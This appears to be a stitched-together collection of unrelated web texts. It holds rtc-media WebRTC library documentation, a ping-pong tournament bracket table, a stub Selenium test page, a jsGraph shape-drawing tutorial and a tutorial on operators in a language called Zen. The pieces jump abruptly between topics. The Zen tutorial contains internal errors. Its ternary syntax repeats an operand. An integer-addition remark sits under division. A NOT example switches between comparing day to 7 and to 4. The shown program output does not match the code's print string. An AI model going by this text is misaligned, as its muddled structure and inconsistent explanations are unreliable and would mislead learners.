- The constraint option allows you to specify particular media capture constraints which can allow you do do some pretty cool tricks. By default, the contraints used to request the media are fairly standard defaults:{ video: { mandatory: {}, optional: [] }, audio: true }
capture
capture(constraints, callback)
Capture media. If constraints are provided, then they will override the default constraints that were used when the media object was created.
render
render(target, opts?, callback?)
Render the captured media to the specified target element. While previous versions of rtc-media accepted a selector string or an array of elements this has been dropped in favour of one single target element.
If the target element is a valid MediaElement then it will become the target of the captured media stream. If, however, it is a generic DOM element it will a new Media element will be created that using the target as it's parent.
A simple example of requesting default media capture and rendering to the document body is shown below:
// require the media capture helper from rtc.io
var media = require('rtc-media');
// capture video and render it to the document body
media().render(document.body);
You may optionally provide a callback to this function, which is will be triggered once each of the media elements has started playing the stream:
var media = require('rtc-media');
media().render(document.body, function(el) {
console.log('captured and playing to media element: ', el);
});
stop()
Stop the media stream
Debugging Tips
Chrome and Chromium can both be started with the following flag:
--use-fake-device-for-media-stream
This uses a fake stream for the getUserMedia() call rather than attempting to capture the actual camera. This is useful when doing automated testing and also if you want to test connectivity between two browser instances and want to distinguish between the two local videos.
Internal Methods
There are a number of internal methods that are used in the rtc-media
implementation. These are outlined below, but not expected to be of
general use.
_prepareElement(opts, element)
The prepareElement function is used to prepare DOM elements that will receive the media streams once the stream have been successfully captured.
_bindStream(stream)
Bind a stream to previously prepared DOM elements.
_unbind()
Gracefully detach elements that are using the stream from the current stream.
_createObjectUrl(stream)
This method is used to create an object url that can be attached to a video or audio element. Object urls are cached to ensure only one is created per stream.
_handleSuccess(stream)
Handle the success condition of a getUserMedia
call.
Utility Functions
clone(inputStream, opts?)
=> MediaStream
The clone
helper function accepts an existing MediaStream
and creates
a new MediaStream
with a cloned copy of each of the audio and video
tracks contained within.
This can be useful when you wish to mute (disable) either an audio or video stream sent over the wire, but keep the locally rendered stream active.
NOTE: At this time it is not possible to clone a MediaStreamTrack
in
firefox (https://bugzilla.mozilla.org/show_bug.cgi?id=910249). When this
function is called in firefox, the original stream is returned rather than
throwing an error.
var media = require('rtc-media');
var clone = require('rtc-media/clone');
media().on('capture', function(stream) {
// create a clone of the stream
var cloned = clone(stream);
// using the cloned stream, we will be able to enable and disable tracks without
// affecting the originally cloned stream
});
An additional opts
argument can be passed to this function to
selectively filter which tracks are cloned:
filterAudio
- a filter function that can be used to decide whether an audio track is cloned into the newMediaStream
.filterVideo
- as per thefilterAudio
option but for video tracks.
License(s)
Apache 2.0
Copyright 2014 National ICT Australia Limited (NICTA)
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.


| Group A | 听天由命 | BHJTY | Pie | Maverick | |
| Group B | King of Pen Holders | Marketo | TTA PingPong | SF5 | Marvell Autumn |
| Group C | Nucleus | Cloud Walk | The Junkyard | Yahoo Team A | Golden Geese |
| Group D | Yahoo Team B | Rubiques | Black Swan | Evergreens | Marvell Summer |
| Group E | Marvell Spring | B#5 | Younsgters年轻人 | Shine Blue | BBA |
| Group F | Swan Pen Holders | Legally spinny | GYoungAgain | TTA Pong | Google TAP |
| Group G | In-and-Out | TTA Ping | KLA | Ultimate Loopers | G4 |
| Group H | Eagle 老鹰 | Facepalm | Apricot | Infinite Loopers | Great Ying 大英帝国 |
| Group I | PacBio | NeoTiger | Moody's Analytics | FacePongs |
| Group J | PACB2+AD Limited | Move fast and loop things | SFJianghu | Taiwan wahaha 台灣笑嘻嘻 |
| A 12pm - 5pm | B 12pm - 5pm | C 5pm - 10pm | D 5pm - 10pm | |
| 1 | BHJTY | In-and-Out | Younsgters年轻人 | |
| 2 | TTA Ping | Marvell Summer | Yahoo Team A | Legally spinny |
| 3 | Eagle 老鹰 | Taiwan wahaha 台灣笑嘻嘻 | Cyrus | Swan Pen Holders |
| 4 | Google TAP | Rubiques | King of Pen Holders | Maverick |


This page contains tests for the CommandFactory object in selenium-commandhandlers.js. To see them, take a look at the source. To run them, load this file via JsUnit's testRunner.html


subtitle: 'Handling shapes (basic)'
---
## Handling shapes (basic)
jsGraph can be used not only to display data in series, but it can also be used to create shapes associated to this data. In this tutorial, we demonstrate how to create various shapes, position them on your graph, change their style and allow manipulation.
Let us start by creating an empty graph, and since no serie will be used for now, force the X and Y axes boundaries:
```javascript
var g = new Graph('example-1'); // Creates a new graph
g.resize(400, 300); // Resizes the graph
var s = g
.newSerie('employment_nb')
.setData([
1900,
1555,
1910,
1783,
1920,
1872,
1930,
1943,
1941,
1992,
1948,
2378,
1949,
2339,
1950,
2309,
1951,
2437,
1953,
2455,
1954,
2482,
1955,
2533,
1956,
2606,
1957,
2666,
1958,
2644,
1959,
2644,
1960,
2717,
1961,
2644,
1962,
2954,
1963,
2999,
1964,
3046,
1965,
3025,
1966,
3014,
1967,
3030,
1968,
3048,
1969,
3098,
1970,
3143,
1971,
3199,
1972,
3243,
1973,
3277,
1974,
3273,
1975,
3108,
1976,
3019,
1977,
3032,
1978,
3062,
1979,
3095,
1980,
3166,
1981,
3240,
1982,
3256,
1983,
3257,
1984,
3288,
1985,
3354,
1986,
3430,
1987,
3515,
1988,
3607,
1989,
3704,
1990,
3821,
1991,
4136,
1992,
4069,
1993,
4025,
1994,
3999,
1995,
3996,
1996,
3994,
1997,
3991,
1998,
4044,
1999,
4075,
2000,
4116,
2001,
4183,
2002,
4213,
2003,
4198,
2004,
4210,
2005,
4241,
2006,
4328,
2007,
4440,
2008,
4548,
2009,
4588,
2010,
4593,
2011,
4705,
2012,
4776,
2013,
4837,
2014,
4918
])
.autoAxis()
.setLineColor('purple')
.setLineWidth(2);
g.setTitle('Number of employed people in Switzerland (yearly average)');
g.getXAxis()
.setLabel('Year')
.gridsOff();
g.getYAxis()
.setLabel('Number of people (in thousands)')
.secondaryGridOff();
g.draw();
```
## Graph.newShape
To create a new shape, there is only a single method to remember: `graph.newShape`. Graph#newShape belongs to the Graph class and it is as of today the only way to create a new shape and assign it to the graph. The syntax of the `newShape` method is the following
`Graph.newShape( String shapeType, Object shapeOptions, Boolean mute );`
Where :
- `shapeType` is the type of the shape (e.g. `line`, `rectangle`, `arrow`, ... ). The types are defined by the constructor registering (see later)
- `shapeOptions` is a map (key/value) of options associated to the shape. Except for shape-specific options, the default available ones are:
_ `Array position` - An array of position elements (see explanations later in this tutorial)
_ `String fillColor` - The `fill` attribute of the shape
_ `String strokeColor` - The `stroke` attribute of the shape
_ `Number strokeWidth` - The `stroke-width` attribute of the shape
_ `Number layer` - The layer on which the shape should be places
_ `Boolean locked` - `true` to locks the shape (prevents selecting, moving, resizing).
_ `Boolean movable` - `true` to allow the shape to be moved (can be nullified by `locked`)
_ `Boolean resizable` - `true` to allow the shape to be resized (can be nullified by `locked`)
_ `Boolean selectable` - `true` to allow the shape to be selected (can be nullified by `locked`)
_ `Object attributes` - Additional attributes added to the main DOM of the shape
_ `Boolean handles` - Notifies that the shape should have handles (used for resizing)
_ `Boolean selectOnMouseDown` - `true` if the shape should be selected when the user clicks on it
_ `Boolean highlightOnMouseOver` - `true` if the shape should be highlighted when the mouse hovers the shape (see later in the tutorial for more explanation)
_ `Array` label - The labels of the shape
_ `Position position` - The position of the label
_ `String color` - The color of the label
_ `String angle` - The angle of the label
_ `String basline` - The dominant baseline of the shape (see Shape#setLabelBaseline ) \* `String anchor` - The anchor of the label (see Shape#setLabelAnchor )
- `Boolean mute` cancels event emission from the graph
Many of these options can be changed after shape creation. They have been documented in the shape reference API .
### Shape types
The `shapeType` option defined which kind of shape will be drawn. A number of default shapes are shipped with the standard distribution of jsGraph, but it is not excluded to create your own shape. As of the writing of this tutorial, jsGraph supports :
- Lines (`shapeType = "line"`)
- Arrows (`shapeType = "arrow"`)
- Rectangles (`shapeType = "rect"` or `shapeType = "rectangle"`)
- Ellipses (`shapeType = "ellipse"`)
- Label (`shapeType = "label"`)
- Area under the curve (`shapeType = "areaundercurve"`)
- X range (`shapeType = "rangex"`)
From now on in this tutorial, we will use the default shape arrow to explain the features of the shapes.
### Creating a new arrow
Creating a new arrow is as simple as this:
`var arrow = graph.newShape("arrow");`
However, at this stage, the arrow is not drawn. Its instance is simply created. To add it on the graph, you must use `arrow.draw();`
Annnnnd... nothing happened ! The reason is simple: your arrow has no set position. Ok, let's create two positions (one for the start or the arrow, the other for the end) and assign them to the arrow. We then use the `redraw` method to update the shape.
```javascript
var position1 = g.newPosition('150px', '30px');
var position2 = g.newPosition('190px', '80px');
arrow.setPosition(position1, 0);
arrow.setPosition(position2, 1);
arrow.redraw();
```
### Assign positions relative to the axes
However most of the time you do not want to reference the shape position with respect to the graph screen coordinates. Imagine you want to zoom inside the graph: the shapes will not move. Although it might be ok for some applications, you might want to place some shapes with respect to the axes coordinates. In our example, we want to point the arrow towards the data at a particular year to, say, note an event that happened then. To do so, you need to attach the shape to the axes. One way to do that is to assign the serie
`arrow.setSerie( g.getSerie("employment_nb") );`
and the axes of the serie will be used as the axes for the shape. Alternatively, you can use the `setXAxis` and `setYAxis` methods.
```javascript
arrow.setSerie(g.getSerie('employment_nb'));
var position1 = g.newPosition(1990, 3821);
var position2 = g.newPosition('190px', '80px');
arrow.setPosition(position1, 0);
arrow.setPosition(position2, 1);
arrow.redraw();
```
You see here in the example, we specified the y value corresponding to the year (the x value). You actually don't have to that:
`var position1 = g.newPosition( 1990 );` will do, and the y value will be automatically selected from the serie you have specified with `setSerie`. In addition, we want the arrow to stand back a bit from the data. We can use the 3rd and 4th parameter of the `GraphPosition` constructor, which specify delta values that are applied to the main value:
`var position1 = g.newPosition( 1990, false, -3, "-5px" );`
Here, `-3` refers to the position relative to the axis (no string and no "px" in the end) and therefore, -3 years will be subtracted from 1990, so the arrow will point at 1987. Honestly it makes little sense here, and perhaps "-5px" would be more logical, like I did with the y-coordinate.
```javascript
arrow.setSerie(g.getSerie('employment_nb'));
var position1 = g.newPosition(1990, undefined, -3, '-5px');
var position2 = g.newPosition('190px', '80px');
arrow.setPosition(position1, 0);
arrow.setPosition(position2, 1);
arrow.redraw();
```
We might also want to define the second position (defining the beginning of the arrow) _relative to_ the tip of the arrow, as opposite to in absolute coordinates. To do that, we can link the two positions together like this :
```javascript
var position1 = g.newPosition(1990, undefined, -3, '-5px');
var position2 = g.newPosition(undefined, undefined, '-30px', '-30px'); // -30px relative to position 1
position2.relativeTo(position1);
arrow.setPosition(position1, 0);
arrow.setPosition(position2, 1);
```
Two things to note however:
- In this case, the graph and axes of _position2_ will be used to compute the position of _position1_.
- The two first arguments of the position constructor are empty in this example. This is because they are used for absolute positioning. If you had used `g.newPosition("30px", undefined, undefined, "-30px");`, then the x position would **not** be relative to _position1_.
### Styling the shape
Although each shapes will have its own styling methods, I am just writing this section to show you how to change the arrow's style with the built-in methods and how to redraw it. All the styling methods can be found in the Shape reference API.
Let us make the arrow thicker, dashed and red using the following:
```javascript
arrow.setStrokeColor('purple');
arrow.setStrokeWidth(2);
arrow.setStrokeDasharray('2,2');
arrow.applyStyle();
```
Now, unless the `applyStyle` method is called, no styling will be applied. This is very useful if you have to change the position of the shape without changing its style. There is a gain of speed associated with the behaviour, obsiously, although you would not notice any difference if there is only a few shapes on your graph. Remember that applying properties to the DOM is the slowest operation in jsGraph, so if you need to modify the shape position several tens of times per seconds, its style will not be uselessly re-applied.
Note here that the tip of the arrow has not changed to red in this example. This is due to a chromium bug (https://code.google.com/p/chromium/issues/detail?id=367737 ) and a mozilla bug (https://bugzilla.mozilla.org/show_bug.cgi?id=832483 ).
### Applying labels
You can also apply labels that can be associated with the shape. It has the advantage of moving with the shape and be deleted when the shape is deleted. Creating the label is equivalent to setting its text (using {@see Shape#setLabelText}).
For example, a label to the arrow can be created using the following code:
```javascript
arrow.setLabelText('Limitation of immigration');
var pos = g.newPosition(undefined, undefined, '-5px', '0px');
pos.relativeTo(position2);
arrow.setLabelPosition(pos);
arrow.setLabelAnchor('end');
arrow.setLabelColor('purple');
arrow.makeLabels();
```
(NB: `makeLabels` is used when a new label is created. Use `updateLabels` when no new label is created, but when the label position or styling has been changed)
To update the labels after they have been created the first time, use the `updateLabels` method:
```javascript
// ... label creation
arrow.setLabelColor('purple');
arrow.makeLabels(); // Label is created and becomes purple
arrow.setLabelColor('olive');
arrow.updateLabels(); // Label is updated and becomes olive
```
## Selecting, moving, resizing the shape
jsGraph allows the user to interact dynamically with the shape, through various options. For instance, to allow the shape to be selected, use the Shape#selectable method. When selected, the shape will take the style defined in the Shape#getSelectStyle method:
```javascript
arrow.selectable();
made.arrow.setEventReceptacle();
arrow.setSelectStyle({
stroke: 'red'
});
```
Note here the use of the LineShape#setEventReceptacle method. This is used to create a thicker, invisible line without dashing on top of the drawn arrow. This line is used as an event receptacle to facilitate the clicking on the arrow (otherwise, if you click slightly outside the line or in between the dashing, the line will not be selected. This is how SVG works.) This is not activated by default because jsGraph will become significantly slower if thousands of operations per second are performed by your script.
The general behavior of jsGraph is that only one shape can be selected at the time. Therefore, if you have multiple arrows, clicking on a non-selected arrow will unselect the currently select shape:
```javascript
var rectangle = made.graph.newShape('rectangle', {
fillColor: 'green',
fillOpacity: 0.5,
position: [{ x: 1950, y: 'min' }, { x: 1970, y: 'max' }],
selectable: true,
layer: 1
});
rectangle.setSelectStyle({
stroke: 'red',
'stroke-width': 2
});
made.arrow.setLayer(3);
made.arrow.draw(true);
rectangle.draw();
```
### Display handles and allow resizing
To allow the user to manually resize a shape, you need to display the handles, either in the constructor options or via the method Shape#setHandles, such as:
```javascript
made.arrow.hasHandles(true);
made.arrow.createHandles();
```
Note that the shape must be selectable (`shape.selectable()`) to be resizable. In addition, the `createHandles` method needs to be called only if the handles haven't been set to `true` in the constructor (`graph.newShape("arrow", { handles: true } ) );`) in which case the handles will be created with the shape.
Adding handles without allowing the resizing of the shape wouldn't make too much sense. Therefore, you may use the {@see Shape#resizable} method to enable the resizing of the shape.
```javascript
arrow.resizable();
console.log(arrow.isResizable()); // Returns true
// arrow.unresizable(); // cancles the resizable method
```
### Allow moving
To allow the user to manually move a shape, you can use the {@see Shape#movable} method or use it in the constructor. Note that the shape must be selectable to be movable.
```javascript
var arrow = graph.newShape('arrow', { selectable: true, movable: true });
// or arrow.movable();
```
### Locking the shapes
Shapes can be prevent from being selected, resized and moved using the `lock` method:
```javascript
var arrow = graph.newShape('arrow', {
selectable: true,
movable: true,
handles: true,
resizable: true /* locked: true */
});
arrow.lock(); // Locks the shape, and effectively nullifies selectable, movable, handles and resizable, until unlock() is called
```
Unlock
Lock
## Setting and getting properties from the shape
Shapes are done in a way that all their properties can be exported and re-imported. This is useful to store information about the shape that you would have to reload later. This does not avoid the need to create the shape, though. However, it allows to set shape placement, labels and style in an effortless fashion.
```javascript
var shape = graph.newShape('line');
var position1 = graph.newPosition('150px', '30px');
var position2 = graph.newPosition('190px', '80px');
shape.setPosition(position1, 0);
shape.setPosition(position2, 1);
shape.setStrokeColor('red');
shape.draw();
console.log(shape.getProperties());
```
Get properties
Change properties
### Listening to property change
Any change of property should trigger the event `propertyChanged` which you can listen on the shape:
```javascript
made.arrow.on('propertyChanged', function(property) {
$('#example-16-property').html(
'Changed property: ' +
property +
'
. New value: ' +
JSON.stringify(made.arrow.getProp(property)) +
'
'
);
});
```
## Conclusion
It's time to put an end to this tutorial. I hope that creating shapes is now clear to you. Another tutorial is in preparation to showcase all the shapes that are shipped by default with jsGraph.


In this module, you will learn about operators, operands, and expressions.
An operator is a special symbol or a keyword that performs a mathemtical operation or a specific operation. Generally, an operator expects one, two, or three values known as operands. You must always remember, an operator always calculates and returns a result.
A common way to categorize Zen’s operators is by the number of operands the operator expect. There are three types of operators based on the number of operands they accept.
- Unary Operators
- Binary Operators
- Ternary Operators
Unary Operators
Unary operators are operators that expect one operand. A unary operator can be a prefix operator or a postfix operator.
A prefix operator is written before the operand, like this:
operator operand
A postfix operator is written after the operand, like this:
operand operator
Binary Operators
Binary operators are operators that expect two operands. All the binary operators are infix operators, which means they appear between the operands, like this:
operand1 operator operand2
Ternary Operators
Ternary operators are operators that expect three operands. The conditional operator is the only operator in Zen that expects three operands. It is also an infix operator and written like this:
operand1 ? operand1 : operand2
Working with Arithmetic Operators
You can perform addition, subtraction, multiplication, and division with the arithmetic operators. They are similar to operators in basic mathematics.
| Operator | Description |
|---|---|
| + | Addition |
| - | Subtraction |
| * | Multiplication |
| / | Division (returns quotient) |
| % | Division (returns remainder) |
Addition
The addition operator, written as plus +
accepts two operands. It adds both the operands
that you specify and returns their sum as its result. You can add two
constants, a constant and a variable, or two variables.
Here’s an example.
var age = 10
var ageAfter10Years = age + 10
Subtraction
The subtraction operator, written as minus -
accepts two operands. It subtracts the
second operand from the first operand. You can subtract a constant from
another constant, a constant from a variable, or a variable from another
variable.
Here’s an example.
var age = 10
var ageBefore10Years = age - 10
Multiplication
The multiplication operator, written as asterisk*
accepts two operands. It multiplies both the operands
that you specify and returns their product as its result. You can multiply two
constants, a constant and a variable, or two variables.
Here’s an example.
var increment = 1.2
var salary = 10000
var newSalary = increment * salary
In algebra, you can write a number next to a variable and
imply multiplication. For example in algebra, 8y
means eight times y. But this is not the case in Zen. You always
need to write the asterisk to indicate multiplication.
Division
The division operator, written as forward slash /
accepts two operands. It divides one operand
by another and returns the quotient as its result. You can divide two
constants, a constant and a variable, or two variables.
Here’s an example.
var favorable = 1
var total = 6
var probability = favorable / total
When you add two int
values, the result is an int
value, even if you assign the result to a double
variable.
Remainder
In Zen, the modulus %
operator does not calculate percentage. It divides
one operand by another and returns the remainder as its result. This operator is known as the modulus operator.
You can divide two constants, a constant and a variable, or two variables.
var a = 21
var b = 2
var c = a % b
For example, when you divide 21 by 2 the quotient is 10 and the remainder is 1.
Thus, in this example c
is equal to 1.
Working with Comparison Operators
| Operator | Description |
|---|---|
| < | Returns true if the operand on the left is lesser than the operand on the right. |
| > | Returns true if the operand on the left is greater than the operand on the |
| right. | |
| <= | Returns true if the operand on the left is lesser than or equal to the |
| operand on the right. | |
| >= | Returns true if the operand on the left is greater than or equal to the |
| operand on the right. | |
Working with Equality Operators
| Operator | Description |
|---|---|
| == | Equality |
| != | Inequality |
Equality
Returns true
if the operand on the left is the same as the operand on the
right. Please note that this operator compares the content of the left
operand with the content of the right operand, along with the references.
Inequality
Returns true
if the operand on the left is not the same as the operand on the
right. Plese note that this operator compares the content of the left operand
with the content of the right operand, along with the references.
Using the Unary Plus and Minus Operators
The unary plus and minus operators let you change the sign of an operand. Note that the symbol used to represent these operators are the same as the addition and subtraction operators. The compiler figures out which operation you mean by examining the expression.
Remember, the unary minus operator does not necessarily make an operand
negative. Actually, it inverts the sign of the operand. For example, assume
x = -5
then -x
will give you 5
. Mathematically, this is equivalent to
-x = x * -1
.
Interestingly, the unary plus operator does not actually do anything. For example,
assume x = -5
and y = 7
then +x
and +y
will give you -5
and 7
, respectively.
Mathematically, this is equivalent to +x = x * 1
.
Using the Logical Operators
You can combine two or more conditions or constraints or complement with logical
operators. The result of the operation of a logical operator is a Boolean value,
either true
or false
.
Logical AND Operator
The logical AND operator combines two Boolean expressions and returns true
if both the expressions evaluate to true
. Otherwise, it returns false
for
the given expressions.
The general form of the logical AND operator is shown here.
expression1 && expression2
Here, expression1
and expression2
must evaluate to Boolean values. The
result of the above operation expression1 && expression2
will be
true
if both the operands aretrue
false
if any of the operands isfalse
or both the operands arefalse
.
For example, consider the following statements.
var value1 = 10
var value2 = 20
var value3 = 30
var result = value2 > value1 && value2 < value3
Can you guess the value stored in result
? It will be equal to true
, because
value2
is greater than value1
and value2
is lesser than value3
.
The logical AND operator is similar to the bitwise AND operator. In fact, you could use the bitwise AND to combine Boolean conditions. However, the logical AND leverages your knowledge of logic.
We know that both expressions compared by the logical AND operator must be true
for the entire expression to be true
. There is no reason to evaluate the
second expression if the first one returns false
. The logical AND leverages
this idea and skips the evaluation of the second expression, if the first expression
evalutes to false
. On the other hand, the bitwise AND operator is not aware of
this fact, so it blindly evaluates both expressions before determining the results.
The logical AND operator is smart enough to stop when it knows what the result is.
Programmers almost always use logical AND instead of bitwise AND for combining conditions. In fact, you should do the same. Because sometimes the expressions have significant side effects.
For example, the second expression may delete a file. But what if the file
was supposed to be deleted only if the first condition was true? The bitwise
AND does not stop when the first condition is false
, deleting the
file. With a logical AND, the operator does the work for as expected.
Relying on the side effects of expressions can be risky. In fact, you can almost always find a better way to write your code without side effects.
Logical OR Operator
The OR operator combines two Boolean expressions and returns true
if at least one of the expressions evaluates to true
. Otherwise, it returns
false
for the given expressions.
The general form of the logical OR operator is shown here.
expression1 || expression2
Here, expression1
and expression2
must evaluate to Boolean values. The
result of the operation expression1 || expression2
will be
true
if at least one of the operands istrue
false
if both the operands arefalse
For example, consider the following statements.
var value1 = 10
var value2 = 20
var value3 = 30
var result = value2 < value1 || value2 < value3
Can you guess the value stored in result
? It will be equal to true
. Since
value2
is greater than value1
, it evaluates to false. Then value2
is lesser
than value3
evaluates to true
. Thus, result1
evaluates to true
.
The logical OR operator is similar to the bitwise OR operator. In fact, you could use the bitwise OR to combine Boolean conditions. However, the logical OR leverages your knowledge of logic.
We know that at least one of the expressions compared by the logical OR operator must be
true for the entire expression to be true
, there is no reason to evaluate the
second expression if the first one returns true
. Whereas, the bitwise OR operator
is not aware of this fact, so it blindly evaluates both expressions before determining
the results.
Therefore, programmers almost always use logical OR instead of bitwise OR for combining conditions. In fact, you should do the same. Because sometimes the expressions have significant side effects.
For example, the second expression may delete a file. But what if the file
was supposed to be deleted only if the first condition was false? The bitwise
OR does not stop when the first condition is true
, deleting the
file. With a logical OR, the operator does the work for as expected.
Again, relying on the side effects of expressions can be risky. In fact, you can almost always find a better way to write your code without side effects.
The Logical NOT Operator
The simplest of the logical operators is the logical NOT operator. It is a unary prefix operator, which means you can use it with only one operand and you write it immediately before its operand.
This operator is also called as the complement operator.
The logical NOT operator reverses the value of a Boolean expression. Thus, if the
expression is true
, the operator changes it to false
. If the expression is false
,
the operator changes it to true
.
Here’s an example.
!(day == 7)
This expression evaluates to true
if day
is any value other than 7
.
If day
is 7
, it evaluates to false
. It works by first evaluating the
expression (day == 4)
, after which it reverses the result of the evaluation.
Do not confuse the logical NOT operator !
with the NOT equals relational
operator !=
.
The preceding example could have be written like this, too. The result will be the same.
day != 4
The logical NOT operator is more general. It can be applied to any expression that returns a Boolean result, not just an equality expression.
You must almost always enclose the expression that the logical NOT !
operator is
applied to in parentheses.
Consider the following expression.
!i == 6
Assume that i
is a variable holding an integer value. The compiler does not
generate any error about this expression. However, during runtime an exception
will be thrown because it looks like you are trying to apply the logical NOT
operator to the variable, not to the result of the comparison. Enclosig the
comparison with parentheses solves the problem.
!(i == 6)
Using the Assignment Operators
The assignment operator helps you assign a value to a variable. You have already seen many examples of this operator. It assigns the value on its right to the operand on its left.
For example, here’s an example of the assignment operator in use.
var vehicles
var cars = 100
vehicles = cars
In the above example, we created a variable named vehicles
. Think that
it stores the number of vehicles you own. We also created another variable
named cars
. Think that it stores the number of cars you own.
When we say vehicles = cars
, we are storing the value stored in cars
to vehicles
, because the assignment operator assigns the value on its
right to the operand on its left.
Your expression on the left hand side, known as the lvalue or left-value, should be capable of storing a value.
For example, the following statement does not compile because the expression on the left hand side evaluates to a value. A value simply cannot store another value.
a + b = c * d
Before we continue with the other concepts of the assignment operator, you need
to understand that an assignment in Zen is simply an expression and not a statement.
For example, a = 7
is an expression. It becomes an expression statement only
when you add a newline to the end like this.
a = 7
An operator always returns a result. In that case, what does the assignment
operator return? It returns the value that it assigned to a variable.
For example, the result of s = 7
evaluates to 7
. Similarly, the expression
r = (a * a) - (b * b)
returns the result of the expression (a * a) - (b * b)
.
So, what is the use of the assignment operator returning a result?
Well, this allows us to use multiple assignments in the same expression.
Consider the following code snippet.
a = 10
b = a
c = b
You could rewrite the above code snippet like this:
a = b = c = 10
Given, the associativity of the assignment operator is right-to-left, first
c = 10
is evaluated. It returns 10
, which is assigned to b
. Again, b = c
returns 10
which is assigned to a
. Thus, all the variables are assigned to 10
.
Now, consider another complicated case.
b = 7
a = (b = 9) + 10
As in any expression, the expression inside the parenthesis is evaluated first.
Here, b
is assigned to 9
. Since an assignment returns whatever was assigned,
in this case 9
is returned. The 9
is then added to 10
. The result, that is
19
, is then stored in a
.
Using the Compound Assignment Operators
A compound assignment operator is an operator that performs both an implicit calculation and an assignment.
Here’s a list of all the compound arithmetic assignment operators in Zen.
| Operator | Description |
|---|---|
| += | Addition and assignment |
| -= | Subtraction and assignment |
| *= | Multiplication and assignment |
| /= | Division (for quotient) and assignment |
| %= | Division (for remainder) and assignment |
For example, the expression a = a + 10
can be written as a += 10
.
Here’s another exampe. The expression b = b * 100
can be written as b *= 100
.
Here’s a list of all the compound bitwise assignment operators in Zen.
| Operator | Description |
|---|---|
| |= | Bitwise OR and assignment |
| &= | Bitwise AND and assignment |
| ^= | Bitwise XOR and assignment |
| «= | Bitwise Left Shift and Assignment |
| »= | Bitwise Right Shift and Assignment |
| »>= | Unsigned Bitwise Right Shift and Assignment |
Compound assignment operators can be confusing when used in complex expressions. Therefore, we recommend you to always compound assignment operators by themselves.
Using the Conditional Operator
The conditional operator is the only ternary operator in Zen. It is used to replace certain types of if-then-else statements. The conditional operator is represented by a question mark (?). It can seem somewhat confusing at first, but the conditional operator can be used very effectively once understood.
The conditional operator has the following general form.
expression1 ? expression2 : expression3
Here, expression1
can be any expression that evaluates to a boolean value.
If expression1 is true, then expression2 is evaluated; otherwise, expression3
is evaluated. The result of the conditional operator is that of the expression
evaluated.
In Zen, you cannot use 0 as denominator in integer division. Here, is an example which prevents division by 0 using the conditional operator.
result = (denominator == 0) ? 0 : numerator / denominator
When Zen evaluates this assignment expression, it first evaluates the expression in the parenthesis, which is not really necessary. In other words, the expression to the left of the question mark is first evaluated. If the denominator equals to zero, then the expression between the question mark and the colon is evaluated and used as the value of the entire conditional expression. If denominator is not equal to zero, then the expression after the colon is evaluated and used for the value of the entire conditional expression. The result produced by the conditional operator is then assigned to result.
Here is a program that demonstrates the conditional operator. It uses it to obtain the absolute value of a variable.
// ConditionalOperatorExample.zen
function main(...arguments)
var i = 10
var k = i < 0? -i : i
print('Absolute value of i is ' + k)
i = -7
k = i < 0 ? -i : i
print('Absolute value of i is ' + k)
The output generated by the program is shown here.
Absolute value of 10 is 10
Absolute value of -7 is 7
Working with Bitwise Operators
A computer stores data in binary. In other words, information is encoded as a sequence of 1’s and 0’s. On most computers, the memory is organized into 8-bit cells known as bytes.
Zen defines several operators that allow you to work at the binary level. These operators perform bit-by-bit (commonly known as bitwise) operations on bit patterns and involve manipulation of individual bits. Such operators are known as bitwise operators. These operators can be applied only to integers.
The Bitwise AND Operator
The bitwise AND operator combines two bits and returns true
only if both the bits are true. Otherwise, it returns false for
the given bit pair. When we say true and false, we mean 1
and 0
, respectively.
The operator basically combines all the bits in the given operands.
Mathematically, it is written as Z = X . Y
where .
implies multiplication.
This operator is called the bitwise AND because the left hand side bit and the right hand side bit must be true for the operator to return true.
Here’s the truth table for the bitwise AND operator.
| X | Y | Z |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 0 |
| 1 | 0 | 0 |
| 1 | 1 | 1 |
In a bitwise operation, the smaller sized operand is padded with zeroes before the most significant bit to match the larger sized operand.
Consider the following example.
// BitwiseAndExample.zen
function main(...arguments)
var a = 10
var b = 255
var c = a & b
print(c)
We know that integers occupy 32 bits. To evaluate the last expression, each bit of the operands is combined to produce 0 or 1 if the corresponding bits are 1 or otherwise, respectively.
The Bitwise OR Operator
The bitwise OR operator combines two bits and returns true if at least one of
the bits is true. Otherwise, it returns false for the given bit pair. Again,
when we say true and alse, we mean 1
and 0
, respectively The operator basically
combines all the bits in the given operands. Mathematically, it is written as
Z = X + Y
where .
implies addition.
This operator is called the bitwise OR because the left hand side bit or the right hande side bit must be true for the operator to return true. Further, by definition it returns true if both the bits are true and returns false if both the bits are false.
Here’s the truth table for the bitwise OR operator.
| X | Y | Z |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
Consider the following example.
// BitwiseOrExample.zen
function main(...arguments)
var a = 19
var b = 7
var c = a | b
print(c)
We know that integers occupy 32 bits. To evaluate the last expression, each bit is combined to produce 1 or 0 if at least one of the corresponding bits is 1 or otherwise, respectively.
The Bitwise XOR Operator
The bitwise XOR operator combines two bits and returns true only if one of the
bits is true and the other bit is false. Otherwise, it returns false for the
given bit pair. Again, when we say true and false, we mean 1
and 0
, respectively.
The operator basically combines all the bits in the given operands.
Mathematically, it is written as Z = X . ~Y + ~X . Y
where .
implies multiplication.
This operator is called the bitwise XOR because the left hand side bit must be exclusive of the right hande side bit for the operator to return true. Further, by definition it returns false if both the bits are true or false.
Here’s the truth table for the bitwise XOR operator.
| X | Y | Z |
|---|---|---|
| 0 | 0 | 0 |
| 0 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 0 |
As metioned previously, in a bitwise operation, the smaller sized operand is padded with zeroes before the most significant bit to match the larger sized operand.
Consider the following example.
// BitwiseXorExample.zen
function main(...arguments)
var a = 25
var b = 25
var c = a ^ b
print(c)
To evaluate the last expression, each bit is combined to produce 1 or 0 if the corresponding bits are exclusive or otherwise, respectively.
The Bitwise Complement Operator
The bitwise complement operator is a unary operator. It flips every bit in the operand.
Here’s the truth table for the bitwise complement operator.
| X | Y |
|---|---|
| 0 | 1 |
| 1 | 0 |
Mathematically, it is written as Y = ~X
, where ~
implies negation.
Consider the following example.
// BitwiseNotExample.zen
function main(...arguments)
var a = 255
var b = ~a
print(b)
